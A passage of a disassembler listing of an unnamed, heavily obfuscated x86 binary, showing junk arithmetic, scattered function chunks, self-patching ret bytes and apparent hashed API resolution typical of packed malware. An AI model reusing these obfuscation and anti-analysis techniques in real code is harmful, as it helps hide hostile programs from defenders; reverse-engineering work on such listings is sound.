; START	OF FUNCTION CHUNK FOR sub_442E1F

loc_43C588:				; CODE XREF: sub_442E1F+15j
		test	byte ptr [eax-7], 10h
		jz	loc_43B866
		push	offset sub_440E61
		jmp	nullsub_350
; END OF FUNCTION CHUNK	FOR sub_442E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_43C59C:				; CODE XREF: sub_438A6F+550Cj
		add	eax, 8B08F9C0h
		mov	eax, [eax]
		shl	eax, 2
		cdq
		add	eax, [esp+8+var_8]
		adc	edx, [esp+8+var_4]
		jmp	loc_44B612
; END OF FUNCTION CHUNK	FOR sub_438A6F
; ---------------------------------------------------------------------------

loc_43C5B4:				; CODE XREF: y22d6.y.:loc_44034Aj
		or	edi, edx
		xchg	ebp, [ebx]
		or	edi, 77E132D4h
		jmp	loc_43B224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_43C5C3:				; CODE XREF: sub_43B252:loc_441CA8j
		rol	eax, 1Bh
		xor	eax, 385C639Eh
		push	offset sub_44A491
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_43C5D6:				; CODE XREF: sub_442FA7:loc_43C38Cj
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		call	sub_4444B1

loc_43C5E1:				; CODE XREF: y22d6.y.:0043C339j
		jmp	loc_43C64E
; END OF FUNCTION CHUNK	FOR sub_442FA7
; ---------------------------------------------------------------------------
		shr	ebp, 10h
		jmp	loc_44D5B1

; =============== S U B	R O U T	I N E =======================================



sub_43C5EE	proc near		; CODE XREF: y22d6.y.:0043B5DFj
					; sub_449641-B891p

; FUNCTION CHUNK AT 0044AF94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D4BC SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		rol	eax, 4
		push	ecx
		push	6486687Ah
		pop	ecx
		and	ecx, 41CD578Bh
		jmp	loc_44D4BC
sub_43C5EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_43C607:				; CODE XREF: sub_43923C:loc_44B06Aj
		push	0F28DC385h
		pop	ebx
		xor	ebx, 5F71342Dh
		rol	ebx, 6
		xor	ebx, 0C71C0A74h
		add	ebx, 4821C78Ch
		xchg	ebx, [esp+0]
		jmp	loc_438487
; END OF FUNCTION CHUNK	FOR sub_43923C

; =============== S U B	R O U T	I N E =======================================



sub_43C62A	proc near		; CODE XREF: sub_4449C0:loc_4447FBj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044215D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044477F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044947D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044CFC4 SIZE 00000006 BYTES

		push	ebx
		push	0CC792F09h
		pop	ebx
		or	ebx, 191BBA18h
		jmp	loc_44477F
sub_43C62A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_43C63C:				; CODE XREF: sub_43F35E+34F1j
		jz	loc_43EF03
		jmp	loc_441FF8
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
		db 3Bh
		dd 0C099E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_43C64E:				; CODE XREF: sub_442FA7:loc_43C5E1j
		sbb	ecx, 94077DC2h
		cmp	esi, 1FCC3330h
		jmp	loc_439006
; END OF FUNCTION CHUNK	FOR sub_442FA7

; =============== S U B	R O U T	I N E =======================================



sub_43C65F	proc near		; DATA XREF: y22d6.y.:0043C265o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CD84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DFD7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043EAFC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FD5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440895 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444841 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004488BA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00449EC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A466 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044B31F SIZE 0000000B BYTES

		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_440899
		jmp	loc_43FD5B
sub_43C65F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43C671:				; CODE XREF: y22d6.y.:loc_441C88j
		retn
; ---------------------------------------------------------------------------

loc_43C672:				; CODE XREF: y22d6.y.:004445D4j
		jmp	loc_4393BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43C677:				; CODE XREF: sub_448EB6-52B1j
		jmp	loc_44CE5E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43C67C:				; DATA XREF: sub_4475B3-102EAo
		lea	eax, loc_447E4C
		mov	byte ptr [eax],	0C3h
		jmp	loc_448408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_43C68A:				; CODE XREF: sub_43E7BF:loc_447E4Cj
		xchg	eax, [esp+4+var_4]
		and	edx, ebp
		jmp	loc_437172
; END OF FUNCTION CHUNK	FOR sub_43E7BF

; =============== S U B	R O U T	I N E =======================================



sub_43C694	proc near		; CODE XREF: sub_447E7D-2099j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437148 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00437CFE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043949B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DA27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FE21 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004427EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CC9 SIZE 00000011 BYTES

		push	ebx
		push	0DB546D4Eh
		pop	ebx
		add	ebx, 0AA598372h
		jmp	loc_447CC9
sub_43C694	endp

; ---------------------------------------------------------------------------
		test	esi, ebp
		jmp	loc_43B483
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43C6AD:				; CODE XREF: sub_442C0C:loc_43AD55j
		add	esi, ebp
		add	esi, 9EF0D38h
		mov	[esi], eax
		xchg	ebp, [esp+8+var_8]
		jmp	loc_437E49
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_43C6BF:				; CODE XREF: y22d6.y.:004378CEj
		jb	loc_44478A

; =============== S U B	R O U T	I N E =======================================



sub_43C6C5	proc near		; CODE XREF: sub_44D7E0-2157p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00444846 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 3FA92CFBh
		xchg	edx, [esp-4+arg_0]
		jmp	loc_444846
sub_43C6C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C6D7	proc near		; DATA XREF: sub_43DF56-3088o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004370EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00437766 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00438DD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439489 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AC98 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043B6ED SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B796 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043D1E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D951 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F8E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440035 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004402F5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004415BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442540 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044270C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004447DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044525E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445F78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004463C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BE14 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044C9C8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044CE1D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044E252 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E4C8 SIZE 00000027 BYTES

		or	eax, eax
		jnz	loc_4415BC
		jmp	loc_4370EC
sub_43C6D7	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41E150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_43C6EA:				; CODE XREF: sub_4392B0+11j
		jmp	loc_43E71D
; END OF FUNCTION CHUNK	FOR sub_4392B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	dword ptr [esp-74A60000h], 4
		and	al, 56h
		mov	esi, edx
		xchg	esi, [esp]
		push	edx
		jmp	loc_438C5F
; ---------------------------------------------------------------------------
		jbe	loc_44E28D
		and	eax, esi
		jmp	sub_43B0EE

; =============== S U B	R O U T	I N E =======================================



sub_43C712	proc near		; CODE XREF: y22d6.y.:0043BD8Cj
					; sub_43A3A9+45ECp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043779D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00437C5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A3B8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043AC62 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044015F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00440B05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440F3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442021 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004420EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442691 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044382C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445528 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447906 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044941D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044CBF3 SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ecx+0B8h], eax
		call	sub_43CB3F

loc_43C721:				; CODE XREF: sub_44A095-F614j
		jmp	loc_44941D
sub_43C712	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA4B

loc_43C726:				; CODE XREF: sub_44DA4B-1E12j
		jz	loc_449C99
		jmp	loc_443BEF
; END OF FUNCTION CHUNK	FOR sub_44DA4B
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 0C1h
		dd 816EE232h, 5F8874C2h, 0BFADE881h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_43C742:				; CODE XREF: y22d6.y.:004437D5j
		jnz	loc_43AAF2
		jmp	loc_439678

; =============== S U B	R O U T	I N E =======================================



sub_43C74D	proc near		; CODE XREF: sub_43DB23+9C0Cp
					; y22d6.y.:0044C849j
		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		lea	eax, sub_43DB23
		mov	byte ptr [eax],	0C3h
		jmp	sub_43DB23
sub_43C74D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_358
		jmp	loc_4398C5
; ---------------------------------------------------------------------------

loc_43C76A:				; DATA XREF: sub_4432B8+322Eo
		mov	edx, 0A2CD59D9h
		call	sub_449739
		mov	ds:dword_44659C, eax
		retn
; ---------------------------------------------------------------------------

loc_43C77A:				; CODE XREF: y22d6.y.:0043DFC2j
		jmp	loc_44A24B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43C77F:				; CODE XREF: sub_4432B8:loc_43DE25j
		mov	edx, 0A22F8A70h
		call	sub_449739
		mov	ds:dword_446DBC, eax
		call	sub_43760A
		jmp	loc_44C77E
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_43C798:				; CODE XREF: sub_43923C:loc_44196Cj
		xchg	esi, [esp+0]
		call	sub_44CDB7
		mov	eax, 9E471775h
		call	sub_443CB9

loc_43C7AA:				; CODE XREF: sub_43E037+CA92j
		jmp	nullsub_299
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43C7AF:				; CODE XREF: sub_44B1D2-4334j
		jmp	loc_43A2B0
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		mov	ebx, [esi]
		jmp	loc_439794
; ---------------------------------------------------------------------------

loc_43C7BB:				; CODE XREF: y22d6.y.:00448610j
		ja	loc_447351

; =============== S U B	R O U T	I N E =======================================



sub_43C7C1	proc near		; CODE XREF: sub_43BCA9+D12Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437222 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00438706 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00438F25 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043A507 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E26D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043EE7D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F081 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443AAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443D1D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044456C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004495C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BD3C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0044C374 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044D1B3 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		call	sub_4463CE

loc_43C7CB:				; CODE XREF: sub_44BBBA:loc_43E05Aj
		mov	eax, 0D53D974Bh
		call	sub_43CA1A
		push	ecx
		jmp	loc_449B9B
sub_43C7C1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C7DB:				; CODE XREF: y22d6.y.:0043D33Aj
		jz	loc_4490C3
; START	OF FUNCTION CHUNK FOR sub_440395

loc_43C7E1:				; CODE XREF: sub_440395+5F07j
		jmp	loc_447505
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
		xchg	edx, [ebp+0]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43C7EA:				; CODE XREF: sub_439051:loc_4398CAj
		cmp	eax, 0CD93DA0Eh
		jmp	loc_44565D
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
		db 3Bh,	3Ch, 2Ch
dword_43C7F8	dd 0			; DATA XREF: sub_440B13+9w
		align 10h
dword_43C800	dd 41E000h, 12h, 4Ch, 58h, 164h, 1, 8, 5, 18h, 8, 24h
					; DATA XREF: sub_44D6D0:loc_438C16o
					; sub_448EB6:loc_44D881o
		dd 1, 8, 9, 28h, 3, 10h, 18h, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_43C850:				; CODE XREF: sub_444541+3157j
		jmp	loc_43C1CC
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_43C855:				; CODE XREF: sub_44E51C-B7A4j
		jmp	loc_44B9D8
; END OF FUNCTION CHUNK	FOR sub_44E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43734D

loc_43C85A:				; CODE XREF: sub_43734D+1j
		jmp	loc_441309
; END OF FUNCTION CHUNK	FOR sub_43734D
; ---------------------------------------------------------------------------
		db 56h
dword_43C860	dd 1070000h, 471051C1h,	0FFFF8010h, 0Bh, 0FFFF8010h, 1Fh
					; DATA XREF: sub_44D6D0-14AB2o
					; sub_448EB6+49D3o
		dd 0FFFF8010h, 18h, 0FFFF8010h,	29h, 0FFFF8010h, 4Bh, 0FFFF801Fh
		dd 0Bh,	0FFFF801Fh, 9, 0FFFF801Fh, 10h,	0FFFF801Fh, 17h
		dd 0FFFF801Fh, 3, 0FFFF801Fh, 13h, 0FFFF801Fh, 65h, 0FFFF801Fh
		dd 2, 0FFFF801Fh, 5, 0FFFF801Fh, 4, 0FFFF801Fh,	73h, 0FFFF801Fh
		dd 14h,	0FFFF801Fh, 15h, 0FFFF801Fh, 0Fh, 0FFFF801Fh, 12h
		dd 0FFFF801Fh, 11h, 0FFFF801Fh,	0Ch, 0FFFF801Fh, 0Ah, 0FFFF801Fh
		dd 6, 0FFFF801Fh, 1, 0FFFF801Fh, 34h, 0FFFF801Fh, 0Dh
		dd 0FFFF801Fh, 33h, 0FFFF801Fh,	74h, 9E002Eh, 801D01A0h
		dd 97002Eh, 609D577Dh, 96002Eh,	0B24C760Ah, 6003Eh, 2092F37Fh
		dd 15A004Ah, 367F2FA3h,	1D3004Ah, 6CA849Bh, 145004Ah, 0FD491B5Dh
		dd 146004Ah, 0E101C01Dh, 1D7004Ah, 14A0F3C1h, 17A004Ah
		dd 35321B74h, 17C004Ah,	0AB1E8803h, 1E9004Ah, 55F566C1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CDA6

loc_43C9B0:				; CODE XREF: sub_43CDA6+2D5Dj
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_43CDA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C39B

loc_43C9B5:				; CODE XREF: sub_43C39B+7j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43C39B
; ---------------------------------------------------------------------------
		dw 75C7h
dword_43C9BC	dd 773D0000h, 268A4853h, 0C5466662h, 638DC8h, 1F7B0000h
					; DATA XREF: sub_44D6D0-14AAAo
					; sub_448EB6:loc_4398F5o
		dd 0D048224Fh, 19C5C833h, 0B16Ch, 5771AB00h, 0CC7D6435h
		dd 63645C32h, 0D8h, 94577620h, 45C952E4h, 1BC871A2h, 8Dh
		dd 0A04D71B2h, 3632714Ah, 1Bh, 285277CCh, 0D0512934h, 8DB1912Eh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_43CA15:				; CODE XREF: sub_43CFF2+7678j
		jmp	loc_43C0AC
; END OF FUNCTION CHUNK	FOR sub_43CFF2

; =============== S U B	R O U T	I N E =======================================



sub_43CA1A	proc near		; CODE XREF: y22d6.y.:loc_43712Fp
					; sub_44921D-11FCAp ...

; FUNCTION CHUNK AT 0043EB70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F8A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00441FFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449433 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044AB11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044BD7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D0F8 SIZE 0000001A BYTES

		call	sub_44243B

loc_43CA1F:				; CODE XREF: sub_43B7D4:loc_44D49Aj
		pop	edi
		rol	edi, 18h
		xor	edi, 5B2E4DA3h
		add	edi, ebp

loc_43CA2B:				; CODE XREF: sub_438B66+2037j
		add	edi, 8ED61360h
		mov	[edi], eax
		pop	edi
		jmp	loc_44D0F8
sub_43CA1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43CA39:				; CODE XREF: y22d6.y.:loc_44BB55j
		add	ecx, 705F429h
		xchg	ecx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_43CA47:				; CODE XREF: sub_43EC1C+9548j
		jnz	loc_448DE8
		jmp	loc_44787C
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4030E2

loc_43CA52:				; CODE XREF: sub_4030E2:loc_44C47Cj
		jmp	ds:off_41E210
; END OF FUNCTION CHUNK	FOR sub_4030E2
; ---------------------------------------------------------------------------

loc_43CA58:				; CODE XREF: y22d6.y.:0044A81Fj
		jmp	loc_445D3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43CA5D:				; CODE XREF: sub_44271A-A842j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43CA62	proc near		; CODE XREF: sub_43F0F0+Dj
					; sub_4030E2:loc_44518Ap ...

; FUNCTION CHUNK AT 00441F82 SIZE 00000005 BYTES

		push	offset loc_443F76
		jmp	loc_441F82
sub_43CA62	endp

; ---------------------------------------------------------------------------

loc_43CA6C:				; CODE XREF: y22d6.y.:0044DC10j
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_438077

loc_43CA6D:				; CODE XREF: sub_438077:loc_44DBF7j
		push	offset sub_4414C4
		jmp	loc_440076
; END OF FUNCTION CHUNK	FOR sub_438077
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_320. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43CA78:				; CODE XREF: y22d6.y.:00439697j
		xor	eax, ecx
		adc	ebp, ecx

loc_43CA7C:				; CODE XREF: y22d6.y.:loc_43967Ej
					; y22d6.y.:0043F975j
		xor	eax, 0E3444870h
		add	eax, ebp
		push	esi
		jmp	loc_44CB22
; ---------------------------------------------------------------------------

loc_43CA8A:				; DATA XREF: sub_44AA69:loc_44AE6Fo
		xchg	esi, [esp]
		push	0A8C6C633h
		pop	edx
		rol	edx, 18h
		xor	edx, ds:4000E8h
		and	edx, 9ACA5074h
		or	edx, 653284DFh

loc_43CAA8:				; CODE XREF: y22d6.y.:loc_439CAFj
					; y22d6.y.:loc_443AE7j
		xor	edx, 80D3B00h
		jmp	loc_446271
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_339. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43CAB4:				; CODE XREF: y22d6.y.:00442916j
		jmp	locret_43D57B
; ---------------------------------------------------------------------------

loc_43CAB9:				; CODE XREF: y22d6.y.:0043784Ej
		jmp	loc_44D810
; ---------------------------------------------------------------------------

loc_43CABE:				; DATA XREF: y22d6.y.:loc_44CC4Do
		mov	eax, [esp]
		push	edx
		call	sub_438F17
		mov	eax, 32FE4135h
		jmp	loc_440296
; ---------------------------------------------------------------------------

loc_43CAD1:				; CODE XREF: y22d6.y.:loc_4474E0j
		test	eax, 0A3205F2Ch
		jmp	loc_44BAB3
; ---------------------------------------------------------------------------

loc_43CADC:				; DATA XREF: sub_44243B-9AB8o
		pop	esi
		call	sub_4445FD
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_43CAE2:				; CODE XREF: sub_4410E0+13j
		jmp	loc_43D7DA
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_44D534
; ---------------------------------------------------------------------------
		adc	edx, 58EBB9D7h
		jmp	sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_43CAF8:				; CODE XREF: sub_437B43+76BAj
					; sub_437B43:loc_44870Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44ABDA
		jmp	loc_44AA58
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_43CB09:				; CODE XREF: sub_447C6F+11j
		rol	esi, 0Dh
		cmp	esi, 0DC893B8Ah
		jmp	loc_44D715
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43CB17:				; CODE XREF: sub_448EB6:loc_442D5Bj
		mov	edx, eax
		push	offset sub_447C6F
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CEB8

loc_43CB23:				; CODE XREF: sub_44CEB8+Bj
		and	edi, 79B9C0B7h
		add	edi, 0F70AAC34h
		xchg	edi, [esp+0]
		jmp	sub_442592
; END OF FUNCTION CHUNK	FOR sub_44CEB8
; ---------------------------------------------------------------------------
		ror	edi, 1Fh
		jmp	loc_44793E

; =============== S U B	R O U T	I N E =======================================



sub_43CB3F	proc near		; CODE XREF: sub_43C712+Ap
					; y22d6.y.:0044D7B8j
		xchg	eax, [esp+0]
		pop	eax
		pop	ecx
		xor	eax, eax
		jmp	nullsub_27
sub_43CB3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_43CB4B:				; CODE XREF: sub_43E5C2+C140j
		add	eax, 78D42C3Fh
		push	esi
		pushf
		push	8C37B8Fh
		pop	esi
		xor	esi, 0B7DD43B6h
		cmp	esi, 18FDB03Ah
		jmp	loc_44DC3B
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
		mov	ebx, ecx
		jmp	sub_444686
; ---------------------------------------------------------------------------
		ja	locret_43E154
		rol	edx, 0Bh
		jmp	sub_448006
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_44CAD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF0B

loc_43CB85:				; CODE XREF: sub_43EF0B+3j
		push	edx
		mov	edx, ecx
		push	offset loc_443933
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_43EF0B
; ---------------------------------------------------------------------------

loc_43CB92:				; CODE XREF: y22d6.y.:0043B8C7j
		jns	loc_44E36C
		rol	ebx, 0Dh

; =============== S U B	R O U T	I N E =======================================



sub_43CB9B	proc near		; CODE XREF: sub_43A9C6:loc_43E9A1p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00444608 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044983C SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		jmp	loc_44983C
sub_43CB9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	ecx, eax
		jmp	sub_440C4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4470B1

loc_43CBAE:				; CODE XREF: sub_4470B1:loc_43F7B8j
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_44A936
; END OF FUNCTION CHUNK	FOR sub_4470B1
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_43CBBD:				; CODE XREF: sub_43A041+252Dj
					; y22d6.y.:0044BED3j
		call	sub_43A041
; END OF FUNCTION CHUNK	FOR sub_43A041
; START	OF FUNCTION CHUNK FOR sub_4427BB

loc_43CBC2:				; CODE XREF: sub_4427BB+6j
		jmp	nullsub_221
; END OF FUNCTION CHUNK	FOR sub_4427BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439932

loc_43CBC8:				; CODE XREF: sub_439932-959j
		jmp	nullsub_304
; END OF FUNCTION CHUNK	FOR sub_439932
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43CBCE:				; CODE XREF: sub_44AEDA-C518j
		jmp	loc_440FF5
; END OF FUNCTION CHUNK	FOR sub_44AEDA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CBD3	proc near		; CODE XREF: sub_43E953+6j

; FUNCTION CHUNK AT 0043751E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043AC6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043DD8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F7D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044946A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044DECE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E5D6 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_44946A
sub_43CBD3	endp

; ---------------------------------------------------------------------------
		mov	ds:dword_41E154, eax
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B693

; =============== S U B	R O U T	I N E =======================================



